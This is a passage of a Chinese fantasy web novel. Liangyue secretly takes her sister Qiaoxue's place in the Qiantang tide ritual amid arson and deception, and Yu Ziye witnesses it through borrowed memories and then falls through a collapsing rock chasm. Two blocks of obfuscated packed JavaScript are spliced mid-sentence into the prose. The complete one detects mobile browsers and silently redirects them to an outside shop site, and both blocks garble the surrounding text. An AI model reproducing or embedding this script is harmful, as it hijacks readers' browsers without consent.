丫头走后,谅月问:“小惠,咱们什么时候起轿?” “娘子,吉时是酉时二刻,从这儿到州府侧门不远,咱们酉时起轿即可。您再去里头歇会儿,到了时辰奴婢叫您。” “……姐姐那边,又是何时出发?” “潮祭的吉时是酉正,敲雪小娘子想是要比咱们这儿早半柱香时间出发。” 谅月垂下眼眸。 小惠看出她的落寞,劝道:“小娘子莫要伤心,今个儿是两位娘子大喜的好日子……小娘子若是想再见一面敲雪小娘子,现在奴婢带您从回廊偷偷绕过去,兴许也还来得及!” 只有于子夜知道,谅月的指甲在宽大的袖摆下狠狠掐着手心,要渗出血来。 也只有于子夜知道,到了八月十八这日,谅月仍没有将潮祭的真相告诉敲雪。 她究竟要做什么? 于子夜很紧张。自尽以死相抗吗?与知府的儿子同归于尽吗?还是说…… 猜想如菌丝般散逸开,一个比一个可怕。于子夜痛恨自己的想象力总是在这种导向负面的时刻如此活跃、无法抑制。 不,不对的。还有时间,还赶得及。谅月既然特地问了小惠时间,一定是在想办法! 况且澹台敲雪最后并没有死。 “我穿着这喜服,行动不便,不必了,”谅月从宽袖中掏出一张红色的字笺:“这个,你速速拿去送给姐姐。” 她低声道:“……我还欠她一个谜底。” 小惠接过:“好,小娘子先歇着,奴婢这就去。” “小惠。” “小娘子,怎么了?” “我母亲待你如何?” 这问题问得古怪。小惠一愣:“……小娘生前,待我很好。” 谅月点头:“没事了。去罢。” 小惠没走出几步,谅月又叫住她:“等等。这字笺务必亲手交到姐姐手中,等她拆开看了再回。” “好。” 于子夜在心中拍手叫好。 那女巫死前说得对,她女儿当真是个敢想敢做、胆气十足的好孩子! 突然眼前景物一晃,一个穿红色喜服的女孩儿站在眼前,盖着盖头,脚上一双红色绣凤的布鞋。 这女孩是……谅月?! 于子夜下意识低头看向自己的身体,却是空空如也。视野正下方是一条鹅卵石子路,前后左右皆是一片暮色中的园景。 她这是……突然神识离体了? 心中陡生一种不好的预感——莫非是谅月要死了,她才突然离体的?! 谅月在原地静静站了片刻,突然伸手一把揭开头上的大红盖头。 于子夜尚未看清谅月面容,忽地被一阵风强行扭过身子,穿庭过廊,再回过神,已然到了那日谅月悄摸溜进找敲雪的花园中。 闺房轩窗门扉大敞,房中坐着一个严妆打扮的女孩,身着一袭描金绣蓝的白底大袖法衣,独自一人对着铜镜佩戴傩仪需用的假面,正是敲雪。 小惠步履匆匆地疾行,还差两步便要迈进园中。 快把字笺给她!于子夜在心中叫道。 小惠突然从后头被人拉住了。 她一转身,一个面生的丫头语气焦急,压低声问:“可是小惠姐姐?” 小惠疑道:“是。怎么了?” “角门外墙根下,有个伙计急着要见你,说是十万火急的事情,要您赶紧去。对了,那人说他姓‘赵’。” 小惠神色一变:“现在?!” “那伙计急得不得了,说是一刻都慢不得。” 小惠把字笺往袖子里一掖,调转方向,随那丫头匆匆往角门走去。 这个赵大山早不来晚不来,怎么偏偏这个时候来找小惠! 于子夜心中狠狠捏了一把汗,正想跟着小惠去角门,那无形的身体却像是被钉住一样,悬在花园半空中动弹不得。 突然,一道熟悉的身影从闺房侧边闪进园中,攫住了她全部的注意。 敲雪刚系上假面的系带,猛地一惊,看清来人面容登时放松些许:“你是……大山叔?” 赵大山?! 刚才不是他叫走小惠的吗,怎么会突然出现在这里?! 赵大山在房门外深深作了一揖:“小娘子恕小的冒犯之罪,”他双手呈上一个字笺:“这是谅月小娘子托小的务必亲手交到小娘子手中的,说是昔日之约,还欠敲雪小娘子一个谜底。” 敲雪眼中闪过不忍与动容,垂眸接过,欠身道:“有劳了。” 见赵大山还弓着身子站在门口不走,敲雪疑道:“还有何事?” “小娘子嘱咐小的,要等敲雪小娘子打开字笺看了再走。小娘子说,今日一别,以后再见亦难,敲雪小娘子若是看了,愿意再见她一面,她就在廊后等你。” 敲雪打开字笺。光线太暗,隔得太远,于子夜看不清那薄纸背后究竟是何谜底。 假面掩住了敲雪神色,她猛然抬首道:“谅月此刻在廊后?带我去见她!” 赵大山直起身板,做了个“请”的手势:“小的带敲雪小娘子速去速回。” 敲雪提前裙摆匆匆迈出门槛,随赵大山拐向灌木丛生的房后小径。 于子夜的心揪起来,就要跟上去,神魂却又被一阵狂风向另一个方向吹去,竟是穿出角门,飘向刚才小惠和那丫头离开的方向。 窄巷的墙根下,不见了丫头,小惠一人紧紧攥着双手,焦虑不安地来回踱着小步。 “怎么还不来……”她边踱边嘟囔,于子夜心中本就疑团重重,这下更是被她踱得烦躁不安。 又过了不到一盏茶的功夫,小惠终于停下了,重重叹了口气。 “再不回去,都要起轿了……这个赵大山在搞什么……罢了!送字笺要紧!” 她狠狠一跺脚,转身便向角门内敲雪闺房的方向走去。 这一跺,巷子里的灯骤然一盏盏亮了起来。 竟已到了掌灯时分。 “小惠!” 赵大山突然从巷子尽头闪出来,气喘吁吁地道:“你快回去……方才谅月那边突然闹起来,说死活不过门,闹着要自尽!” 小惠一惊:“怎的突然闹起来?!方才还好端端的。” 赵大山攥着她袖子便走:“我如何晓得?她闹得太凶,哭着嚷着不让人扶她上轿。我看着快到起轿的吉时了,若是在半路上闹起来,恐误了吉时,便和婆子们商量,先照着后颈把她敲昏过去,抱进了轿子里。” “打晕了?那要如何……” “总之,先把人平安送进府里为是!之后如何,便不管你的事了。你是陪嫁丫头,还杵在这里做什么?还不快回去!” “可是……” 赵大山不由分说,拉着小惠往谅月那边走。 小惠知道孰轻孰重,毕竟不可耽误了正事,一咬牙,把袖子从赵大山手中挣出来,将那字笺塞进他手中:“行了行了,我自己能走!你替我将这字笺送到敲雪小姐手中,务必等她拆开后再回!速速去!耽误不得!” 小惠穿门过廊,回到谅月院中,一个婆子两个丫头站在轿旁叽叽喳喳,见谅月来了,那婆子故意提高声说:“……未过门就这样,往后还了得?师婆家的,果真和她娘一样不上台盘。若不是小郎君垂青,那个人家敢要这样的。” 这样的话小惠过去跟着女巫时便听多了,此刻只是隐忍不发,问道:“我家小娘子呢?” 婆子歪着嘴往那轿子一努。 小惠忙扑上去,掀开轿帘一看,小小的人儿倚着轿厢,盖着大红盖头,红色绣凤的布鞋只两个尖尖露在裙摆外头,不是谅月是谁? 小惠松了口气,抚平裙摆因剧烈挣扎留下的褶皱,重新盖上了轿帘。 北边一声锣响,想是敲雪那边已经起轿了。小惠眉头一皱,也不知那赵大山有没有将字笺送到敲雪小娘子手中。 方才等赵大山耽误了太多时间,此刻她却也顾不得担心这些了,赶紧自己回屋收拾停当,出来已然酉时鼓响。两个小厮抬一顶小轿,小惠和那婆子在轿旁跟着,从澹台家角门出,趁着夜色静悄悄往知府的侧门走去。 于子夜看得又惊又怕又疑,神魂飘在半空,孤叶一般打了几个转,发现自己竟能来去自如了。 四顾无人,几盏孤灯在风里晃,她身处暗巷中,一时竟不知道何去何从。在荒原上被那空旷发现的感觉又降临在她头上。 老人呕哑癫狂的笑声耳鸣般回荡在脑海中。 仿佛是向她展示这段记忆的人在盯住她,嘲笑她,看着她的反应,看着她身临其境却束手无策的恐慌。 于子夜再也无力承载这空旷的凝视,几乎是逃也似的,追着那顶喜轿去了。 今夜的风从东南边吹来,暑热里带着湿气,把江边喧天的唢呐鼓点一阵阵吹将过来。 州府和江岸距离不远,却是一东一西相反方向,此刻于子夜顺风朝着州府狂奔,觉得自己是被那唢呐与江风搡着跑。 转眼到了州府,喜婆正在掀帘。于子夜身子一纵,栽进了小惠身上。 “小娘子,咱们到啦!”小惠半个脑袋探进喜轿中,轻轻地摇了摇谅月。 谅月脑袋一歪,靠上轿厢,俨然是还没醒。 “你这声音说给蚊子听?!还能吓死她不成?”婆子没好气地一把推开小惠,把着帘吩咐两个抬轿的小厮:“你们俩,动作轻些,将她抬进房里去。” 两个小厮一个捞膝抱住裙摆,一个双手卡住腋下,将谅月从轿子里拖出来。似是动作间太过粗鲁,那嫁衣下的素纱中单都散开了系带。 小惠明明记得自己今日给她打扮时系了死结,忙喊“等一下”扑上去要重新系。 这一扑,掉了两个红艳艳的东西在地上。 所有人都停住了动作。 两只大红绣凤的布鞋静静躺在砖石地上。鞋子的主人被小厮托着膝弯,穿着白色罗袜的双脚无力地悬空垂着。 两只乳鸽一样小巧的金莲。 小惠颤抖着站起身。喜婆阻止不及,小惠一把扯下了那红布盖头。 一张沉睡的脂玉面容,蹙着两弯细长的远山眉,似乎睡得不安稳。 喜婆也瞠目结舌:“这……” 小惠全身血液“唰”一下凉透,她倒退两步,转身向侧门方向狂奔而去。 逆着大风跑,人像在风里匍匐,被风摧折、羞辱、掌掴、嘲笑。 小惠浑身血液翻江倒海。快到跑城墙的时候,一声钟响从六和塔方向传来,震得胸腔中惊涛怒浪翻了个底朝天儿,翻出的海底像条破巾子,被钟声捅穿,挂在风里摇摇晃晃。 小惠跌倒在地。 闻天钟在这时响了。 一声,又一声,再一声,隆隆撞进钱塘城漆黑的夜里。 钟鸣三声,神路已成。 于子夜知道那神钟上写的是澹台敲雪的名字。扶桑之路已经将一半的语芥输送到了敲雪体内,而敲雪此刻…… 她无法再想下去。 小惠的掌根和膝头被磕破,血和沙隔着衣料含混地粘在一起,含混到根本无法作出任何判断,只剩下含混。 她站起身,跌跌撞撞地朝江边跑去。 祭潮的仪仗队呈一字长蛇蜿蜒向平沙一片的江边。远远望去,人在下,羽翣在上,如一尾被风吹呲的芦花,在圆月下起起伏伏地向前攒动。 身后有火光亮起,小惠顾不得。跑得太快了,喉头因快跑产生的干涩燥意都生出了如同焚灰的呛人错觉。 眼前那尾长芦却突然蓬了、散了,揉拦的菖蒲一般四散飞跑,沙地上一片喧哗。 “走水了!” “是州府!州府走水了!快去救火!” 小惠恍惚地回过头。又一处火光乍起,灰烟斜腾冲天,如绫似缥。 “澹台府也走水了!” 这一吼,端的是一场好乱。 最先是有一个掌翣的人丢掉了手中的羽翣,接着,乐声鼓点也渐渐停了。 小惠逆着往回赶去救火的人群向前,被接踵摩肩地重重撞了几下。 待回过神来,目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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于子夜第一次看清澹台谅月的面容,也终于想起了这双眼睛。 银月如盆。 火在坍塌,楼在坍塌,茫茫沙海都在她的眼里燃烧着、翻搅着。 “你不能这样做……”小惠一步一踉跄,朝她追去:“小娘子,你不能!你知道的,闻天钟敲过,扶桑水路认的是裱纸和钤印!木已成舟,语芥认的是敲雪小娘子!你少了一半语芥,就算能骗过所有人,也不可能骗得过江潮!” 谅月淡漠地望了她一眼,转过身,继续迎着江风与震响向沙地深处走去。 “就算你去了风露版图,你魂芥缺损了一半,也会死的!” 谅月不停地向前走。每走一步,赤足都陷进更深的泥沙中。 一道模棱的灰线出现在沙地尽头与夜空相接的地方。 大潮疾速推来,灰线很快就变成一条清晰可见的灰白绦带。 小惠再也等不及了,以此生从未有过的速度在不断塌陷的沙地上奔跑起来,终于攥住了谅月的衣角。 她一把扑上去将谅月拦腰抱住。 “小娘子!跟我回去!求您了!大潮吃人,危险啊!” 谅月冷声道:“放开。” “我不放!小娘子,你同我回去!我会好好侍奉您一辈子!我们主仆二人相依为命!”小惠哭道:“就算您不回去,州府看到送来的是敲雪小娘子,也会把人送回去的!” “回去?”谅月像是听到了很好笑的事:“自古娶妻纳妾,哪里有新婚夜送回去的道理?况且他们此刻正忙着救火,你以为今夜真有人会在乎澹台府送去的究竟是谁?” 江边和府中,一个是澹台敲雪,另一个是澹台谅月,就够了。 “谅月小姐,”小惠被自责和痛苦撕成两半,她痛彻心扉地抓住谅月的袖摆,却已经没有力气,指尖都打着战:“……为什么?你杀人、放火,这样做……会入地狱的!” “那便入地狱。”谅月道:“至于杀人放火……难道送我入府、让敲雪参祭,比之杀人放火的罪孽就轻了么?你跟了母亲这么多年,就连你也觉得,我就该听从父亲的安排乖乖给知府的儿子做妾?而对‘那一切’一无所知的姐姐理应成为语者?” 小惠虽然跟了巫女多年,但她不清楚血魂芥如何相系,也不知道水都在大祭后必死的命运。 她依然想不明白这一切究竟为何会变成这样、谅月为何要这么做,但她此刻终于明白了一件事——无论是为了潮祭还是为了婚事,谅月此举足够逼迫所有人坐实:府中的确是谅月,江边的确是敲雪。 潮近了,那潮头眨眼间便从半人高升至一人,转眼便有墙高。 谅月不欲再与小惠纠缠,她拔出了小腿上绑着的那把银光闪闪的匕首,刀尖冲着小惠扎去。 小惠避之不及,肩上蓦地划出一道血口。眼见那水墙隆隆推来,已足有四人高,她两股发颤,呜咽一声,撇下谅月拔腿就跑。 谅月握紧手中银匕,转身面向潮头,将匕首对着自己的心口举起—— 水沙扑面,浑浊的水墙带着强风压下。 潮头铺天盖地挡住了月光。 黑夜降临了。 ………… 远处传来隐隐绰绰的响动,走马灯一样无色无光地切过。有烈火烧垮房梁和木柱的坍塌声,有潮水拍击海塘的轰隆声。 又好像有人在哭、在咒骂、在疯癫地笑。是阎罗殿吗?是黑白无常吗? ……是敲雪吗? 不怕了。不怕了。谅月想。想点什么吧—— 死。 只有死。浓稠黑夜中的温柔乡,带着煎熬巫药的蒸汽、腐烂被褥的脓水。大火中蒸干的血,死亡里寂静的潮。 都是母亲的味道。 死很好,死了便又可以见到母亲了。 被神明杀死,世间又有几个凡人能有这种殊荣呢? 不。 不…… 不行。 母亲说了,要她好好活下去! 而她为了一线生路已经做到这里了…… ——要活下去! 谅月呛出一口水,猛地睁开双眼。 寰宇间所有声响一下子毙匿了。 神明从银月的中央落下。 潮水从周围奔涌而去,像是绕行过一个透明的茧。 那看不见的茧里没有风,没有沙,没有水,没有火,只剩阒寂。 “你是澹台敲雪吗?”神问。 “我是。”她说。 我是。 13.石语者临危解石语 宿债主山寺还宿债 视野成片坍塌。 色与光在消失,黑暗张开巨口蚕食鲸吞。 澹台敲雪不是澹台敲雪。 于子夜恍然大悟。她此刻所用的魂芥,是澹台谅月的。 可闻天钟认的是敲雪,谅月只有一半血脉承袭的魂芥,她究竟是如何骗过风露版图的众人活下来的…… 真正的敲雪之后又如何了…… 那条字笺里,到底又是什么?! 情绪如瓶罐翻倒五味掺杂。于子夜头脑发胀。她坐起身,好让脑袋中喧嚣的血液涌进冰凉的四肢末梢。 ……四肢! 她低头一看,身上穿着睡衣,左边口袋里是被修好的扶桑叶,右边口袋里蜷缩着一条断尾的、皱巴巴的守宫、一块澄黄的琥珀。 身体回来了! 然而下一刻,失重的脱锚感再次将她猛地往下一拽。 无休无止地坠落又开始了。 ……魂芥又要将她带去何方? 手中扶桑叶在一瞬间烫如熔铁,于子夜遽然被烫到,在下坠中脱手。叶子飘到空中,瞬间被大小碎散的落石遮挡。 ……落石! 于子夜在下坠的强风中用力睁开双眼。 巨大黑暗的岩壁在两侧簌簌飞掠上行。 她正在一条宽大的岩缝中下落。 不行,得拿回叶子…… 理智艰难地逾越本能,在失重的反胃中回笼。 可不断从岩壁崩裂的落石遮挡了她的视线,那叶子连看都看不到,更别提拿回来。 对了…… 丹木一行不是说她是石语者,可以控制一切金属泥沙岩石么?! 在此钱塘她能举起巨石,就说明确实是可以控制石头的。但那时是借用“敲雪”附在扶桑叶上的魂芥。 可此时周围都是落石,下落得太快,扶桑叶又不在手中。 更要命的是,根本没人教过她怎么动用“石语者”的能力。 该怎么办…… 于子夜在迅疾的坠落中强迫自己抵抗恐惧的本能。 赶紧想想。想想…… “……但凡世间语言,无关物种,都是想象的魔法嘛!”观音说。 “……语者征用语芥的过程,也就是语者征得四语芥的同意、让它们为自己的力量与心念所调动所使用的过程,本质上是一种沟通呢!” 沟通? 和石头沟通? 于子夜环顾向上飞掠的巨大岩壁和四散崩落的碎石。 ……开什么玩笑!? “……万物有灵,如何只有人才能‘有口不开’?你若说只有人能讲话,我还认了。难道一言不发、缄默不语,也唯独人能做到?” 谅月的声音在脑海中响起。 于子夜猛然意识到,从她再次坠落开始,四周岩壁崩落的石头竟没有一块砸中她。 万一呢…… 于子夜咬紧牙关。不管如何,当务之急是先想办法放缓下落的速度,否则只会离扶桑叶越来越远。 “……托住我。” 内脏上浮的失重眩晕中,她对着周遭的落石轻轻说。 下一瞬,背部訇然砸上硬板,像是整个躯体被用力掼在了钢筋上。 于子夜失去了意识。 再睁眼的时候,四周仍在簌簌崩落,但声音明显比刚才小了许多。 ……四周! 于子夜猛然坐起。是四周在坠落,而她是静止的。 她的身下是一块巨大的岩石,岩石下依然是深不见底的渊壑。 巨石托住了她,止住了她的坠落! 于子夜仰头,头顶是持续的山崩和垮塌,落石如岩瀑轰隆溃散,直直向下砸来。然而到她头顶两三米高处,却像是被一道结界阻挡,坠落的动线一折,向四周迸开。 就像…… 就像绕过一个透明的茧! 这看不见的茧里没有风,没有沙,没有水,没有火。 成功了!! 于子夜不可思议地摊开手掌抚摸身下冰凉粗糙的岩面:“……谢谢?” 半分钟过去了,无事发生。 于子夜:…… 倒显得她有些自作多情。 于子夜叹了口气,回到正事:“带我去找扶桑叶。” 一分钟过去了,无事发生。 于子夜:……? 难道说,这个石头不知道扶桑叶是什么? “带我去找那片我刚才掉下来的发烫的树叶!”她换了种说法。 巨石不动如山。 “给我把那片发烫的树叶带回来!”她大喊。 巨石安静如鸡。 于子夜沉默半天,突然福至心灵:“往上!” 身下的巨石隆隆震颤起来,托着于子夜,顶着碎石崩落不断上行。 好家伙,真被她猜中了。只有最简单的指令管用啊! 随着上行,落石碎岩对透明茧顶的撞击愈发剧烈,如滚雷如巨雹,于子夜真的担心这个茧形的结界会随时崩溃于碎石的撞击。 好在上方的一片漆黑中出现了一团幽微却两眼的金色光团。 是扶桑叶!! “停下!”于子夜当即大喊。 巨石真的停下了。 扶桑叶就悬浮在头顶两米处。 于子夜:“呃,我够不着,还得再往上一点。” 没反应。 “往上!” 这次无论于子夜再喊几次、喊得再如何简短,石头都似乎打定主意不再动了。 于子夜原地蹦了两下就绝望了。她跳高从小学开始就没及格过。 苦思冥想一阵,她突然灵机一动。 既然能控制身下这块巨岩,那是不是也能控制周围更小的石头,让更小的碎石把扶桑叶撞下来? 落石崩得太快,头顶目标太小太多又下落如梭,于子夜难以锁定对象。她试了好几次,语句对于这些霰弹般下落的碎石似乎毫无用处。 不管了。 “撞下来!”她干脆对所有石头发号施令。 碎石撞下来的话,总能把扶桑叶也带下来吧。 可是并没有一块碎石突破结界。 正在于子夜绝望之时,一阵风忽地自上而下吹来。 黑暗中一叶金光翩跹落至她手心。 手中的扶桑叶发着烫。于子夜垂眸,叶脉处已经填上了一块残损,还剩下两处空洞。 ……风? 于子夜抬头。 透明的茧顶积满了落石。几块岩石正在飞速砸落。 ——不好!!! “轰——” 茧顶破了,碎石铺天盖地罩下。 于子夜眼前一黑。 痛。 ……不是头破血流的痛。 更像梦魇时的鬼压床、呼吸不畅的闷痛,被巨石压在胸口一样。背后却是软的。 于子夜倏然睁开双眼。 惺忪睡眼逐渐适应了暗光,眼前是一户农舍天花板,似乎是茅草,十分简陋。 身体带着滞胀的沉,腹部像坠着铅。于子夜还没反应过来,身体先动了,双手覆上隆起的腹部,轻轻抚了抚,动作无比熟练,仿佛已这般重复过成百上千次。 ……她怀孕了?! 不对。是这身体的主人怀孕了。 不知这次魂芥又把她带到了谁的身体里。 身旁的男人侧身背对她轻轻打着鼾,怀中搂着个六七岁大的女孩。想必他正是这孕妇的丈夫。 月光从窗口洒下,一床银被似的。孕妇护着孕肚艰难翻过身,朝向丈夫的后背。她伸手越过丈夫厚实的肩背,慈爱地抚了抚女童沉睡的面容。 于子夜这才注意到孕妇的长发中夹杂了几根银白。 一道黑影突然自窗口斜投进来,爬在榻间一家三口身上。 于子夜感到头皮一阵炸开的麻意,却不知道这孕妇究竟是意识到了什么。 深更半夜的,窗外这位是人是鬼也说不清。 身体的主人没回头,盯着那投影,静了片刻,轻声问:“……谅月小娘子?” 于子夜一惊。 这声音她再熟悉不过了。 是小惠。 小惠揉揉双眼,清醒了些许:“……对了,该叫您‘敲雪小娘子’才是。您是人是鬼——是来杀我的么?” 她翻过身,面向窗边,吃力地抻长了脖颈:“动手吧,轻些。不要吵醒玥儿和老黄。” 于子夜这才看清窗外人。 女子已不是钱塘江畔所见的女童模样,面容确仍要比于子夜在“此钱塘”见到的还年轻些,长发垂腰。眉宇间除了冷,还有些别的,她却说不出来。 最引人注目的,是她周身包裹着的澄黄,月色下盈盈流转,如暖玉,又似金水。 ……这颜色,怎么总觉得有点眼熟? “你过得很好。”窗外的人说。 “与‘谅月’相比,确实过得很好,”小惠听出她话里的意思:“小娘子不必担心,当年的事,我未曾与任何人提起,今后也不会说,便是连夫君也全然不知。” 窗外人沉默半晌。 “……当年我走后,你为何不曾出来作证、替姐姐伸冤。” 小惠笑了,轻叹道:“都一样。” “这些年我想明白了。你们两个,谁嫁人,谁主祭,都一样。都得疯一个、死一个。” 窗外静得只有虫鸣。小惠说:“她虽疯了,但你还活着。至少,是少死了一个。” “小娘子,你可知道这些年我最不愿承认的是为何事?” 小惠哽咽道:“是奴婢自己的良心。每每午夜梦回,想到那日掀开盖头时,看见到的是她而不是你,我当时竟最先不是惊惧,而是庆幸——多么罪恶的想法!明明她也是个孩子,比你大不了几个月。” “小娘子,我恨你的狠心,恨你这样利用赵大山欺我瞒我,毁掉了这世上最信任您的敲雪小娘子,也毁了赵大山。可我又不得不承认,我庆幸您以这种方式活了下去。” “赵大山?”窗外人语气平淡。 “那日,你让他两处纵火引开江边的人,却不想那日风大,风吹偏了火势,烧死了澹台水都和夫人。知府以从轻处理诱大山叔招供。小娘子你可知道,到了生死关头,人性就像玩笑似的。别管平日里的义勇,下过了大狱,挨过了板子,见过了绞索,到底都是贪生怕死的。 “您是如何将府中路线图暗暗记下、将纵火地点事先安排好,又是如何利用两炷香的时间把我调走,让他得以钻空子打昏敲雪小娘子…… “赵大山被绞死之后,尸体不见了脑袋。有个渔夫在江边钓鱼钓到,捞上来时几乎没人认得出。 “一别十五载,见您容颜,我才知那说书人常讲,成仙成神便可青春永驻,其言不假……但小娘子,您可见过‘谅月’如今是何光景?” 窗外人垂眸不语。 “小娘子……我如今已不知到底该唤您什么。这些年我想通了,我不咒您下地狱——您既用了这名,就用这名好好活下去,才对得起她丢掉的一切……” 小惠似乎想伸手去够她的衣摆,却只是扒住了窗棂:“或许百年之后再无人记得,但您,会永永远远地记得这一切——你就是她!” “您担心我说出去坏事,想要我的命,便取走罢。我等这一天,已经许久了。”小惠喉头一紧,神色凄惶,滚下泪来:“只是可怜了玥儿同我这未出世的孩儿……” “那本书呢?”窗外的人打断她。 小惠一愣,不知她为何突然提起这细枝末节的旧事:“……若您当年并未带走,闺房中的东西我不曾动过。只是澹台府在大火中毁于一旦,那书定也……” 月色闪过,水刃染银。 腥热爆开,猝不及防封住了喉头。 小惠却发现自己仍在呼吸。 窗外的人已消失了。小惠撑住床头,吐出一滩腥热黏湿的东西掉在被子上,喉咙里是丝丝甜意。 润的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511875|202942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点也不痛,像啜饮了一口茶汤。她想要舔舔唇角,口腔却空了。 “敲雪”取走了她的舌头。 于子夜再次坠入黑暗,落石比方才更凶,却依旧奇迹般地、没有一块砸到她。 手中的扶桑叶发着光,叶脉上的孔洞只剩下一个了。 借着那微光,于子夜看清脚下的岩石在隆隆地撤离。 她拼命向着眼前唯一的光源跑去。 越来越近、越来越近…… “哈!” 黑暗一破,天光乍泄。 于子夜愣住了。 脚下又是那条石板路—— 她初次进入幼年谅月的身体、被推倒在地第一眼看到的那条石板路。 只是这次视野高了许多。 身体的主人正在和人交谈着什么,于子夜却注意到此人周身也笼着一个圆罩,并非刚才澄黄的暖意,而是一抹极淡的、带着寒意的冰色—— 和此钱塘罩住她和观音的那个语境一模一样。 于子夜意识到,这次她是回到了“澹台敲雪”的身体里。 不知这次又是多少年后了。 “……哦,仙长问她啊?” 一个伙计打扮的男人在说话:“前些年那知府的儿子害病死了之后,她就从府里被赶出去了。本来就是师婆的女儿,又整日这样疯疯癫癫的,和野狗抢东西吃,更是没人敢搭理。后来也不知怎么的,她被个要饭的跛子收留,铁链拴在棚子内,后来您知怎么的——她那时怎么着都四十好几了,竟又给那跛子生了两个小杂种!” 伙计滔滔不绝,似乎在炫耀什么了不得的谈资。他手在腰间比了比:“诶,如今那两个杂种都齐腰高了,成天跟着跛子一道沿着北街要饭。您再往北边巷子走些,指不定能遇上那一大两小。” 之前无论是在幼年谅月还是小惠的身体中,于子夜都能切身体会到她们的喜怒哀乐、呼吸流经胸腔的快慢起伏,然而此刻,她竟觉察不到这具身体内任何情绪的波动。 静如止水,只剩一副躯壳似的。 “那女乞如今在何处?”敲雪冷冷地问。 “啊,仙长有所不知。这蛮夷北撤之后,钱塘遍地饿殍,大伙儿自顾不暇,好几年都没人见过她,她年纪又大,只道是死在战乱中了。倒是今年有人去城外山上的尼姑庵拜佛,见着个像她的,想是有信众为结善缘,劝庵里收了那疯婆子。诶,仙长……” 敲雪在铺子上放了一锭银,转身就走。 天上不知何时飘起了鹅毛大雪,雪里于子夜看见山门,又看见宝殿。香火呛人又可人的灰烟里,一个尼姑面带谄笑,躬着腰道:“仙长,外头冷,屋里点了炭盆,您去里面等吧。” 敲雪兀自在山亭里坐了下来。 “诶,仙长您在这儿也行,老衲马上就给您把人带来……” 见人一言不发,尼姑自讨没趣地走了。 茫茫大雪中,她一人静静眺望着山下的钱塘城,目光驻足在江海相接之处。于子夜不知她究竟在看什么。 其实她若记得曾经钱塘河口的形状,便会惊讶地认出水的改道与侵蚀在短短数十年中将城垣海塘磨去哪些又添了哪些。 但这并不是于子夜的问题。人类活得太短了,一辈子只能记住一道海岸线的形状。 连廊尽头一阵嘻嘻哈哈,夹着几声厉喝传来,敲雪转过头。 一个蓬头垢面、头发花白的老女乞被两个小尼姑反拧手臂,四脚蛇一样扭着,一步一挣地往这边过来。 女乞身着一件崭新的棉僧衣、腕间套着一串念珠,却更显得骨瘦如柴。 于子夜看到她满手的冻疮,料定这棉衣、念珠都是临时做样子套上的。 一个约莫十岁的小尼姑对女子飞起一脚:“孽畜!走快些!” 这一下很重,可那女乞似乎只以为小尼姑和她玩耍。她捂着屁股,笑嘻嘻地躲到另一个小尼姑身后。 走到近前,女子从小尼姑身后探出个脑袋来,嬉皮笑脸地瞧敲雪。 另一个小尼姑毫不留情地把她从身后拽出来,用力过猛,女乞双膝一软,直接被搡在地上。 这一下,饶是失智之人也知到自己是被欺负了。老人像狗一样趴跪在地,晃着屁股,蜷成一团,簌簌发起抖来。 敲雪的目光挲上两个小尼姑。 于子夜置身其中不知道那是怎样的目光,看两个小尼姑的表情,显然是被吓了一跳。 那老尼姑想是个见过世面的,虽也害怕,还是吞了口唾沫,欠身道:“……仙长想必不是钱塘人氏,不知原委。那老施主姓黄,原是州府马倌起家,战事结束后重回钱塘,竟已从商发家了,为结善缘,将这么一位送来庵里。老衲实话跟您说了,虽说那黄老爷年年都布施供养,但看顾这么一位,倒比供奉大殿里的真佛菩萨还难!遭不住哇!她这模样……没人看着实在不行,老衲只是担心她冲撞了仙长。” “下去。” 老尼姑不再多言,搡着两个小尼姑飞快地走没影了。 敲雪见人走远,跪了下来,也不嫌脏,伸手去搀那女乞。 谁知女乞握住敲雪的手,将她用力一拉,又嘻嘻哈哈地尖笑起来,竟是又玩起了游戏。 敲雪跪着纹丝不动,意识到女乞想拉自己也在地上坐下,叹了口气,拂衣坐下了。 “……阿姐。”她轻唤一声。 “还记得我吗?” 女乞听不懂似的,只是望着敲雪,吃吃地笑。 敲雪从怀里掏出一个东西,递到女乞脏兮兮的手中。 是一只冒着热气的烤红薯。 “给你带的,吃吧。” 女乞如获至宝,一把抢过来,也顾不得烫,大口大口啃了起来。 “等你吃完,我们就走。”敲雪说。 女乞也不知被尼姑们饿了多久,此刻只是狼吞虎咽不语。 于子夜在心里默默替她问了一句“去哪”,谁料敲雪真的开口了: “钱塘留不住了。我带你离开。” 14.浴烈火师徒斗法相 陷重围孤兵战四神 离开? 敲雪接着说:“风露版图禁止语者改变芥球中任何生灵的命运,若如此做,会遭‘天罚’。我们务必很小心。” 女乞眨了眨眼睛,红薯也不嚼了,似乎听出对方在说很重要的事情。 敲雪望着女乞浑浊的双眼,定定地说:“我需要你暂时死掉。” “死掉?”女乞害怕了,拼命摇头:“我不要、不要!” “如果钱塘注定被回收,这是让你活下去唯一的办法。死者的魂芥处于‘缄默’状态,不会被观测到。只要在那之前,将死者的魂芥撤到别的地方,就能够逃离和芥球一起被回收的命运。如果我猜得不错……文鳐鱼就是这么活下来的。” 敲雪虽然是在对女乞说话,目光却落在地上,俨然是自言自语。 “我只有今日……但绝不能被师父知道。我要救你,与祂无关!是生是死,是獬豸台的天罚还是狴犴圄的囚禁,我自己担责。” 她突然抬起头。 山风将雪粒同她黑色的鬓发卷在一处,斑驳地糊住了视线。于子夜这才注意到此时敲雪已是此钱塘一头短发的模样。 “阿姐,”她唤道:“澹台敲雪。” 女乞虽然已神智失常,但听到这个名字还是下意识愣了一下。 “我怎么能想到,用了你的名字,换了你的命,少了一半的魂芥,我竟能活到现在!” 